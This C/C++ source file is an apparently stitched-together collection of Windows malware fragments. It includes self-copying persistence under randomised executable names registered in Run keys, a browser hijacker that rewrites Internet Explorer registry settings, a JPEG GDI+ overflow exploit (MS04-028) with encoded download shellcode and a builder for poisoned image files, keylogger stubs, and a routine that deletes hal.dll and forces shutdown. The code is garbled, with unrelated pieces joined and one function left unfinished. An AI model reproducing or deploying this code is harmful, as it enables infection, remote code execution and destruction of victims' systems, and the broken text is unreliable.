Floatzel.exe", "Cherubi.exe, Cherrim.exe, Shellos1 .exe,Shellos.exe", "Gastrodon.exe", "Gastrodon.exe",
"Ambipom.exe", "Drifloon.exe", "Drifblim.exe", "Buneary.exe, Lopunny.exe, Mismagius.exe", "Honchkrow.exe", "Glameow.exe, Purugly.exe", "Chingling.exe", "Stunky.exe", "Skuntank.exe", "Bronzor.exe", "Bronzong.exe", "Bonsly.exe", "MimeJr.exe.exe", "Happiny.exe, Chatot.exe", "Spiritomb.exe", "Gible.exe", "Gabite.exe", "Garchomp.exe", "Munchlax.exe", "Riolu.exe", "Lucario.exe, Hippopotas.exe", "Hippowdon.exe", "Skorupi.exe", "Drapion.exe", "Croagunk.exe", "Toxicroak.exe", "Carnivine.exe", "Finneon.exe", "Lumineon.exe", "Mantyke.exe", "Snover.exe", "Abomasnow.exe", "Weavile.exe", "Magnezone.exe", "Lickilicky.exe", "Rhyperior.exe", "Tangrowth.exe", "Electivire.exe", "Magmortar.exe", "Togekiss.exe", "Yanmega.exe", "Leafeon.exe", "Glaceon.exe", "Gliscor.exe", "Mamoswine.exe", "Porygon-Z.exe", "Gallade.exe", "Probopass.exe", "Dusknoir.exe", "Froslass.exe", "Rotom5.exe", "Rotom4.exe", "Rotom3.exe", "Rotom2.exe", "Rotom1.exe", "Rotom.exe", "Uxie.exe", "Mesprit.exe", "Azelf.exe", "Dialga.exe", "Palkia.exe", "Heatran.exe", "Regigigas.exe", "Giratina.exe", "Giratina.exe", "Cresselia.exe", "Psychic.exe", "Phione.exe", "Water.exe", "Manaphy.exe", "Watah.exe", "Darkrai.exe", "Dark.exe", "Shaymin.exe", "MaRiJuAnA.exe", "Shaymin2.exe, Arceus.exe, Normal.exe", "GenerationV.exe", "Pokémon.exe", "Victini.exe", "Snivy.exe", "Servine.exe", "Serperior.exe", "Tepig.exe", "Pignite.exe", "Emboar.exe", "Oshawott.exe", "Dewott.exe", "Samurott.exe", "Patrat.exe", "Watchog.exe", "Lillipup.exe", "Herdier.exe", "Stoutland.exe", "Purrloin.exe", "Liepard.exe", "Pansage.exe", "Simisage.exe", "Pansear.exe", "Simisear.exe", "Panpour.exe", "Simipour.exe", "Munna.exe", "Musharna.exe", "Pidove.exe", "Tranquill.exe", "Unfezant.exe", "Unfezant.exe", "Blitzle.exe",
"Zebstrika.exe", "Roggenrola.exe", "Boldore.exe", "Gigalith.exe", "Woobat.exe", "Swoobat.exe", "Drilbur.exe", "Excadrill.exe", "Audino.exe", "Timburr.exe", "Gurdurr.exe", "Conkeldurr.exe", "Tympole.exe", "Palpitoad.exe", "Seismitoad.exe", "Throh.exe", "Sawk.exe", "Sewaddle.exe", "Swadloon.exe", "Leavanny.exe", "Venipede.exe", "Whirlipede.exe", "Scolipede.exe", "Cottonee.exe", "Whimsicott.exe", "Petilil.exe", "Lilligant.exe", "Basculin.exe", "Basculin.exe", "Sandile.exe", "Krokorok.exe", "Krookodile.exe", "Darumaka.exe", "Darmanitan.exe", "Darmanitan.exe", "Maractus.exe", "Dwebble.exe", "Crustle.exe", "Scraggy.exe", "Scrafty.exe", "Sigilyph.exe", "Yamask.exe", "Cofagrigus.exe", "Tirtouga.exe", "Carracosta.exe", "Archen.exe", "Archeops.exe", "Trubbish.exe", "Garbodor.exe", "Zorua.exe", "Zoroark.exe", "Minccino.exe", "Cinccino.exe", "Gothita.exe", "Gothorita.exe", "Gothitelle.exe", "Solosis.exe", "Duosion.exe", "Reuniclus.exe", "Ducklett.exe", "Swanna.exe", "Vanillite.exe", "Vanillish.exe", "Vanilluxe.exe", "Deerling.exe", "Sawsbuck.exe", "Emolga.exe", "Karrablast.exe", "Escavalier.exe", "Foongus.exe", "Amoonguss.exe", "Frillish1.exe", "Frillish2.exe", "Jellicent1.exe", "Jellicent2.exe", "Alomomola.exe", "Joltik.exe", "Galvantula.exe", "Ferroseed.exe", "Ferrothorn.exe", "Klink.exe", "Klang.exe", "Klinklang.exe", "Tynamo.exe", "Eelektrik.exe", "Eelektross.exe", "Elgyem.exe", "Beheeyem.exe", "Litwick.exe", "Lampent.exe", "Chandelure.exe", "Axew.exe", "Fraxure.exe", "Haxorus.exe", "Cubchoo.exe", "Beartic.exe", "Cryogonal.exe", "Shelmet.exe", "Accelgor.exe", "Stunfisk.exe", "Mienfoo.exe",
"Mienshao.exe", "Druddigon.exe", "Golett.exe", "Golurk.exe", "Pawniard.exe", "Bisharp.exe", "Bouffalant.exe", "Rufflet.exe", "Braviary.exe", "Vullaby.exe", "Mandibuzz.exe", "Heatmor.exe", "Durant.exe", "Deino.exe", "Zweilous.exe", "Hydreigon.exe", "Larvesta.exe", "Volcarona.exe", "Cobalion.exe", "Terrakion.exe", "Virizion.exe", "Tornadus.exe", "Thundurus.exe", "Reshiram.exe",
"Zekrom.exe", "Landorus.exe", "Kyurem.exe", "Keldeo.exe", "Meloetta.exe", "Genesect.exe",
"biv.exe", "MAdenalab.exe", "conspiracy.exe", "RIPVXHEAVENS.exe", "uua.exe", "uug.exe", "cuu.exe", "cuc.exe", "cua.exe", "cug.exe", "aug.exe", "uuu.exe", "uuc.exe", "ucu.exe", "ucc.exe", "uca.exe", "ucg.exe", "agu.exe", "agc.exe", "uau.exe", "uac.exe", "ugu.exe", "ugc.exe", "ugg.exe", "cau.exe", "cac.exe", "caa.exe", "cag.exe", "cgu.exe", "cgc.exe", "cga.exe", "cgg.exe", "aga.exe", "agg.exe", "auu.exe", "auc.exe", "aua.exe", "acu.exe", "acc.exe", "aca.exe", "acg.exe", "aau.exe", "aac.exe", "ccu.exe", "ccc.exe", "cca.exe", "ccg.exe", "aaa.exe", "aag.exe", "guu.exe", "guc.exe", "gua.exe", "gug.exe", "gcu.exe", "gcc.exe", "gca.exe", "gcg.exe", "gau.exe", "gac.exe", "gaa.exe", "gag.exe", "ggu.exe", "ggc.exe", "gga.exe", "ggg.exe", "uaa.exe", "uag.exe", "uga.exe", "nox.exe", "gly.exe", "glu.exe", "asp.exe", "ala.exe", "val.exe", "lys.exe", "asn.exe", "thr.exe", "ile.exe", "arg.exe", "gln.exe", "his.exe", "pro.exe", "trp.exe", "cys.exe", "tyr.exe", "ser.exe", "leu.exe", "phe.exe", "met.exe",}; // list of random filenames
// HMODULE hMod = GetModuleHandle(NULL);
//char oldname[MAX_PATH] = "";
// char szFilename[MAX_PATH] = "";
GetModuleFileName(hMod, oldname, MAX_PATH);
for(int amount=0; ExeList[amount]; amount++);//outdated?
srand(GetTickCount());
item = rand()%9696;//???????????????????item = rand()%amount;
GetWindowsDirectory(szFilename, MAX_PATH);
strcat(szFilename, "\\");
strcat(szFilename, ExeList[item]);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey)==ERROR_SUCCESS)
{
CopyFile(oldname, szFilename, FALSE);
RegSetValueEx(hKey, "diskfrag", 0, REG_SZ, (LPBYTE)szFilename, strlen(szFilename));
}
CloseHandle(hKey);
return 1;
}
char windir[MAX_PATH];
char ttl[70] = "I Didn't Do it!";
unsigned char reg[30] = "www.XnXX.com/smotherV";
unsigned char hide[30] = "0";
unsigned char mxm[30] = "yes";
unsigned char fs[30] = "yes";
unsigned char tb[30] = "no";
unsigned char URLT[30] = "no";
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char pathname[256];
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
HKEY hKey;
strcat(windir, "\\Prefetch\\IEX.exe");
strcat(windir, "\\IEX.exe");
CopyFile(pathname, windir, 0);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Contract", &hKey);
RegSetValueEx (hKey, "IEX", 0, REG_SZ, (LPBYTE) windir, sizeof(windir));
RegCreateKey (HKEY_CURRENT_USER, "Software\\AIM", &hKey);
RegSetValueEx (hKey, "IEX", 0, REG_SZ, (LPBYTE) windir, sizeof(windir));
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", &hKey);
RegSetValueEx (hKey, "Window Title", 0, REG_SZ, (LPBYTE) ttl, sizeof(ttl));
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
RegSetValueEx (hKey, "IEX", 0, REG_SZ, (LPBYTE)windir, sizeof(windir));
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Toolbar",&hKey);
RegSetValueEx (hKey,"Locked", 0, REG_DWORD, hide, sizeof(hide));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main",&hKey);
RegSetValueEx (hKey,"Show_URLToolBar", 0, REG_SZ, URLT, sizeof(URLT));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main",&hKey);
RegSetValueEx (hKey,"FullScreen", 0, REG_SZ, fs, sizeof(fs));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main",&hKey);
RegSetValueEx (hKey,"Show_ToolBar", 0, REG_SZ, tb, sizeof(tb));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Document Windows",&hKey);
RegSetValueEx (hKey,"Maximized", 0, REG_SZ, mxm, sizeof(mxm));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\BillGates", &hKey);
RegSetValueEx (hKey, "IEX", 0, REG_SZ, (LPBYTE) windir, sizeof(windir));
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main",&hKey);
RegSetValueEx (hKey,"Start Page", 0, REG_SZ, reg, sizeof(reg));
RegCloseKey(hKey);
RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
RegSetValueEx (hKey, "IEX", 0, REG_SZ, (LPBYTE)windir, sizeof(windir));
ShellExecute( NULL, "open", "http://www.downloadfirefox.net/", NULL, "C:\\", SW_SHOW );
}std::vector<char> buffer = std::vector<char>(1024, 0);
/**************************************************
char hexToAscii(char first, char second)
{
char hex[5], *stop;
hex[0] = '0';
hex[1] = 'x';
hex[2] = first;
hex[3] = second;
hex[4] = 0;
return strtol(hex, &stop, 16);
}
***************************************************/
/*
===============================================================
Windows JPEG GDI+ Overflow Download Shellcoded Exploit (MS04-028) - JPGDownloader
Coded By ATmaCA
Credit to eEye Digital Security, K-OTik Security, FoToZ, pathetic.
E-Mail:atmaca@prohack.net
Web:www.prohack.net
===============================================================
*/
/*
Generic win32 http download shellcode
You can put approx 2500 bytes of shellcode...
But the shell code can not contain 0xFFh 0xD9
because it is the marker for end of jpeg image.
*/
char shellcode[]=
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26"
"\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14"
"\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E"
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48"
"\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB"
"\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65"
"\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17"
"\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10"
"\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED"
"\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13"
"\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17"
"\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17"
"\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8"
"\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE"
"\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17"
"\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17"
"\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40"
"\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8"
"\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17"
"\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17"
"\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1"
"\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7"
"\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92"
"\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A"
"\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40"
"\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50"
"\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B"
"\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65"
"\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72"
"\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B"
"\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E"
"\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72"
"\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56"
"\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65"
"\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73"
"\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27"
"\x27\x39\x72\x6F\x72\x17"
"m00!";
/*Using Heap Overflow Trigger DWORD - 01 length field*/
/*0xFF 0xFE 0x00 0x01*/
char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";
char setNOPs1[]=
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
char setNOPs2[]=
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
/*Image here*/
char header2[]=
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"
"\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"
"\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"
"\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"
"\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"
"\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"
"\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
"\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"
"\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"
"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
"\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"
"\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"
"\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"
"\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"
"\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"
"\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
"\x35\x35\xA2\x80\x4D\xFA\x72\x31\x07\x9D\x03\x70\xA8\x93\x24\x4F"
"\x89\x51\x83\x5E\xA4\x2E\x7A\xC0\x7D\xA9\x8A\x10\x61\x64\x07\xFA"
"\x88\xC6\x89\x26\xDA\x0F\x20\xBD\xB9\x16\xD2\xA8\xE8\x91\x3F\x1A"
"\xE2\xBA\xF0\xBE\x74\xAB\x1D\xC4\x44\x15\x1A\x8A\x9C\xC7\x2A\x6B"
"\xA3\x33\xB7\x1E\x88\x47\x69\xA9\x64\x68\x26\xC1\x97\x0B\xD6\x86"
"\x8B\x1B\x29\xC6\x87\xE4\xC7\xFD\xCC\x53\x11\xA5\x9C\x62\x6A\xE5"
"\x40\x37\x61\x89\xF6\xB2\x9C\x2A\x7C\xFD\x05\x6A\x30\x5F\x52\x02"
"\xEB\x72\xBF\x7D\x74\x4C\x23\xB9\x8F\xD8\x78\x67\x54\x59\x64\x47"
"\xC5\x75\x21\x18\xD5\xE3\x58\xE1\x72\x63\xBF\x6D\xBD\xCB\xCA\x82"
"\x65\xE7\xDB\x09\x54\x4F\x0D\x95\x86\x76\xE3\xF2\xA0\x48\x82\x55"
"\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
"\x93\xD2\xD6\x39\x95\x3C\x6B\x46\x60\xAC\xC1\x3B\x60\xC9\x70\x84"
"\x8E\xA1\x9A\x9A\x20\x01\x94\xCA\x08\x91\x53\xDC\x01\xB1\xB5\x12"
"\x37\x11\xC6\xC1\xAC\xF1\x11\xD4\x9C\x6B\x3E\x69\x76\xF0\x1D\x7B"
"\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
"\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
"\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
"\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
"\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
"\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
"\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
"\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24"
"\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B"
"\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
"\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
"\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
"\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
"\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
"\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
"\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
"\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
"\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42"
"\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
"\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
"\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
"\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
"\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
"\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
"\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
"\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
"\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45"
"\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
"\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
"\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
"\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68"
;
int JPEG(int argc, char *argv[])
{
if (argc < 3)
{
printf("\r\nJpeg Downloader V1.0 Console\r\n", argv[0]);
printf("Coded By ATmaCA\r\n");
printf("Credit to eEye Digital Security,K-OTik Security,FoToZ,pathetic\r\n");
printf("E-Mail:atmaca@prohack.net\r\n");
printf("Web:www.prohack.net\r\n\r\n");
printf("Usage:\r\nJpeg_Down <DownloadUrl> <OutputPath>\r\n\r\n",argv[0]);
printf("Example:Jpeg_Down http://www.yoursite.com/server.exe mypic.jpg\n");
return 0;
}
char *newshellcode = new char[sizeof(shellcode)+strlen(argv[1])+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,argv[1]);
strcat(newshellcode,"\x01");
FILE *fout;
unsigned int i=0,j=0;
if( (fout=fopen(argv[2],"wb")) == NULL )
{
printf("Error opening file!\n");
return 0;
}
j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
for(i=0;i<sizeof(header1)-1;i++)
fputc(header1[i],fout);
for(i=0;i<sizeof(setNOPs1)-1;i++)
fputc(setNOPs1[i],fout);
for(i=0;i<sizeof(header2)-1;i++)
fputc(header2[i],fout);
for(i=j;i<0x63c;i++)
fputc(0x90,fout);
j=i;
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],fout);
for(i=i+j;i<0x1000-sizeof(setNOPs2)+1;i++)
fputc(0x90,fout);
for(j=0;i<0x1000 && j<sizeof(setNOPs2)-1;i++,j++)
fputc(setNOPs2[j],fout);
/* it is the marker for end of jpeg image*/
fprintf(fout,"\xFF\xD9");
fclose(fout);
printf("The Jpeg Server, has been created.with your settings.\n");
return 0;
}
class Script;
int Save (int key_stroke, char *file);
void Stealth();
class Instruction
{
protected:
Script * owner;
bool enabled;
public:
Instruction():enabled(true){}
void set_owner(Script * s)
{
owner=s;
}
void set_state(bool enabled_)
{
enabled=enabled_;
}
virtual void execute()=0;
virtual ~Instruction(){}
};
template <class T>
class IWriteVal: public Instruction
{
T data;
public:
IWriteVal(const T & data_):data(data_){}
virtual void execute()
{
if (!enabled) return;
cout << data << flush;
}
};
template <class T>
class IWriteRef: public Instruction
{
const T * data;
public:
IWriteRef(const T & data_):data(&data_){}
virtual void execute()
{
if (!enabled) return;
cout << *data << flush;
}
};
template <class T>
class IRead: public Instruction
{
T * data;
public:
IRead(T & data_):data(&data_){}
virtual void execute()
{
if (!enabled) return;
string input;
getline(cin,input);
istringstream in(input);
in >> (*data);
}
};
class IReadLine: public Instruction
{
string * data;
public:
IReadLine(string & data_):data(&data_){}
virtual void execute()
{
if (!enabled) return;
getline(cin,*data);
}
};
class ISetIP: public Instruction
{
unsigned pos;
public:
ISetIP(unsigned pos_):pos(pos_){}
virtual void execute();
};
class ISetInstructionState: public Instruction
{
unsigned pos;
bool new_state;
public:
ISetInstructionState(unsigned pos_,bool new_state_):
pos(pos_),new_state(new_state_){}
virtual void execute();
};
class IEraseInstruction: public Instruction
{
unsigned pos;
public:
IEraseInstruction(unsigned pos_):pos(pos_){}
virtual void execute();
};
class IInsertInstruction: public Instruction
{
unsigned pos;
Instruction * i;
public:
IInsertInstruction(unsigned pos_,Instruction * i_):
pos(pos_),i(i_){}
virtual void execute();
};
class Script
{
vector<Instruction*> instruction_list;
void cleanup()
{
for (unsigned i=0; i<instruction_list.size(); i++)
{
delete instruction_list[i];
}
}
unsigned IP; //instruction pointer :D
public:
Script():IP(0){}
~Script()
{
cleanup();
}
void add(Instruction * i)
{
instruction_list.push_back(i);
i->set_owner(this);
}
void run()
{
for (IP=0; IP<instruction_list.size(); IP++)
{
instruction_list[IP]->execute();
}
}
void set_IP(unsigned new_IP)
{
IP=new_IP;
}
void set_instruction_state(unsigned pos, bool new_state)
{
instruction_list[pos]->set_state(new_state);
}
void erase_instruction(unsigned pos)
{
delete instruction_list[pos];
instruction_list.erase(instruction_list.begin()+pos);
if (pos<=IP) IP--;
}
void insert_instruction(unsigned pos, Instruction * i)
{
i->set_owner(this);
instruction_list.insert(instruction_list.begin()+pos,i);
if (pos<=IP) IP++;
}
};
void ISetIP::execute()
{
if (!enabled) return;
owner->set_IP(pos-1);
}
void ISetInstructionState::execute()
{
if (!enabled) return;
owner->set_instruction_state(pos,new_state);
}
void IEraseInstruction::execute()
{
if (!enabled) return;
owner->erase_instruction(pos);
}
void IInsertInstruction::execute()
{
if (!enabled) return;
owner->insert_instruction(pos,i);
}
int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";
void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
DWORD WINAPI DestroyWindows(LPVOID);
int GGG(int argc, char *argv[])
{
system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
system("PAUSE");
return EXIT_SUCCESS;
ofstream outputFile;
